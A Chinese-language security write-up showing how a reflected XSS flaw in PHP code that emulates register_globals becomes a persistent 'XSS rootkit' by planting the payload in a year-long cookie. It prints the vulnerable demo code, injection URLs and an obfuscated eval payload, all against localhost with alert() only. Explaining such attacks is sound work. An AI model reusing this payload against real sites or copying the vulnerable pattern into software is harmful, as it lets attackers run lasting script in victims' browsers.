前言

　　众所周知[[：Category：Xss(跨站)|XSS漏洞]]的风险定义一直比较模糊，[[：Category：Xss(跨站)|XSS漏洞]]属于高危[http：//sebug.net/ 漏洞]还是低风险漏洞一直以来都有所争议。XSS漏洞类型分为两种持久型和非持久型：

　　##非持久型XSS漏洞一般存在于URL参数中，需要访问黑客构造好的特定URL才能触发漏洞。

　　##持久型XSS漏洞一般存在于富文本等交互功能，如发帖留言等，黑客可以用XSS内容经正常功能进入数据库持久保存。

　　一般持久型XSS漏洞比非持久型XSS漏洞风险等级高，从漏洞的本质上来说这是没错的，但漏洞的利用仍然需要看场景，有时候更深入的看待场景能够挖掘出意想不到的东西，大家接着往下看。

　　漏洞场景解析

　　首先我给出一段PHP的XSS漏洞的简单代码：

　　1.//demo.php

　　2.foreach(Array('_GET'，'_POST'，'_COOKIE') as $_request)

　　3.{

　　4.foreach($$_request as $_k => $_v) ${$_k} = $_v；

　　5.}

　　6.？>

　　7.<a href="<？ echo $_SERVER["PHP_SELF"]； ？>？i=<？ echo $id；？>">分页</a>

　　这段PHP代码中模拟register_globals是Web程序中常见的，代码中输出了网页的分页链接这个也是常见的，因为忽略了对传入数据的效验，更产生了最常见的XSS漏洞。

　　下面是这个XSS漏洞的验证方法：

　　http：//127.0.0.1/demo.php？id=1"><script>alert(1)</script>

　　GET方法在id参数中传入HTML内容，导致网页内容中的herf闭合，执行script标签里的脚本内容：

　　<a href="/demo.php？id=1"><script>alert(1)</script>">分页＜/a>

　　这是一个典型的非持久型XSS漏洞，在常规的思维逻辑下，这个漏洞到这里基本就打止了，本文也马上要变为普通的科普文了，然而事实并没有那么简单，这个漏洞场景再深入挖掘，就牵出了本文的重头戏。

　　XSS Rootkit实现方法

　　我们知道现今流行的PHP Web程序的核心代码第一件事便是模拟register_globals，通过GPC直接注册变量方便整个程序的运作。所以本文的重点来了，在这个场景下，我们的demo.php不仅可以GET传参，还能接受COOKIE的数据，而COOKIE是客户端浏览器的持久化数据，如果通过XSS漏洞设置COOKIE，我们完全可以把这个典型的非持久型XSS漏洞变成持久的，说到这里大家一定非常兴奋了，我就来实际测试一下：

　　先写出一段设置cookie的javascript代码

　　1.Persistence_data=’”><script>alert(/xss/)</script>’；

　　2.var date=new Date()；

　　3.var expireDays=365； //设置COOKIE一年后失效

　　4.date.setTime(date.getTime()+expireDays*24*3600*1000)；

　　5.document.cookie=’id=’+Persistence_data+’；expires=’+date.toGMTString()； //设置cookie的id参数值为XSS代码

　　把设置COOKIE的javascript代码编码一次，放入XSS URL中，这样防止GPC和不同浏览器编码的未知情况，然后我们访问下面的URL。

　　1.http：//127.0.0.1/demo.php？id=1"><script>eval(String.fromCharCode(80，101，114，115，105，115，116，101，110，99，101，95，100，97，116，97，61，39，34，62，60，115，99，114，105，112，116，62，97，108，101，114，116，40，47，120，115，115，47，41，60，47，115，99，114，105，112，116，62，39，59，13，10，118，97，114，32，100，97，116，101，61，110，101，119，32，68，97，116，101，40，41，59，13，10，118，97，114，32，101，120，112，105，114，101，68，97，121，115，61，51，54，53，59，13，10，100，97，116，101，46，115，101，116，84，105，109，101，40，100，97，116，101，46，103，101，116，84，105，109，101，40，41，43，101，120，112，105，114，101，68，97，121，115，42，50，52，42，51，54，48，48，42，49，48，48，48，41，59，13，10，100，111，99，117，109，101，110，116，46，99，111，111，107，105，101，61，39，105，100，61，39，43，80，101，114，115，105，115，116，101，110，99，101，95，100，97，116，97，43，39，59，101，120，112，105，114，101，115，61，39，43，100，97，116，101，46，116，111，71，77，84，83，116，114，105，110，103，40，41，59))</script>

　　结果令人非常满意，由于模拟registerglobals的变量注册顺序是GPC，当然程序员模拟registerglobals的变量注册顺序不同也会影响这个效果，由于COOKIE的变量注册总是最后生效的，所以我们关闭浏览器无论是访问http：//127.0.0.1/demo.php还是访问http：//127.0.0.1/demo.php？id=1，我们的XSS代码都会生效，同时如果客户端未清理COOKIE，这个XSS漏洞将有效一年的时间，一个不起眼的低风险漏洞立马转变为一个令人如此兴奋的XSS Rootkit。

　　后话

　　一些web漏洞扫描器报告中提示非持久型XSS漏洞标为高危漏洞，普遍存在争议的情况，可以根据本文做参考，对场景再深入挖掘，那么本文的目的也就达到了

　　至此我们用非持久型XSS漏洞完成了一次到XSS Rootkit的转变，再一次揭示了漏洞的场景有多么重要，深掘漏洞场景完成一次本质的升华是多么美妙的事情